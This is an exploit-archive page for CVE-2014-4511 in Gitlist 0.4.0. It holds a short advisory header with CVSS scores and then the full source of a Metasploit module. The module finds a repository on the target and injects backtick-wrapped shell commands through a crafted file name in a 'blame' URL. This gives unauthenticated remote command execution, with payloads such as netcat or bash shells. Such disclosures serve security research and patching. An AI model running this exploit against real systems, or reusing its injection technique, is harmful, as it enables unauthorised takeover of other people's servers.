Gitlist Unauthenticated Remote Command Execution

2014.07.07
Credit: Brandon Perry
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Gitlist Unauthenticated Remote Command Execution', 'Description' => %q{ This module exploits an unauthenticated remote command execution vulnerability in version 0.4.0 of Gitlist. The problem exists in the handling of an specially crafted file name when trying to blame it. }, 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Author' => [ 'drone', #discovery/poc by @dronesec 'Brandon Perry <bperry.volatile@gmail.com>' #Metasploit module ], 'References' => [ ['CVE', '2014-4511'], ['EDB', '33929'], ['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/'] ], 'Payload' => { 'Space' => 8192, # max length of GET request really 'BadChars' => "&\x20", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl', } }, 'Targets' => [ ['Gitlist 0.4.0', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 30 2014' )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ], self.class) end def check repo = get_repo if repo.nil? return Exploit::CheckCode::Unknown end chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5)) res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode") if res && res.body if res.body.include?(Rex::Text.decode_base64(chk)) return Exploit::CheckCode::Vulnerable elsif res.body.to_s =~ /sh.*not found/ return Exploit::CheckCode::Vulnerable end end Exploit::CheckCode::Safe end def exploit repo = get_repo if repo.nil? fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository") end send_command(repo, payload.encoded) end def get_repo res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/") }) unless res return nil end first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body) unless first_repo && first_repo.length >= 2 return nil end repo_name = first_repo[1] repo_name end def send_command(repo, cmd) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`') }, 1) res end end

References:

http://cxsecurity.com/issue/WLB-2014070005


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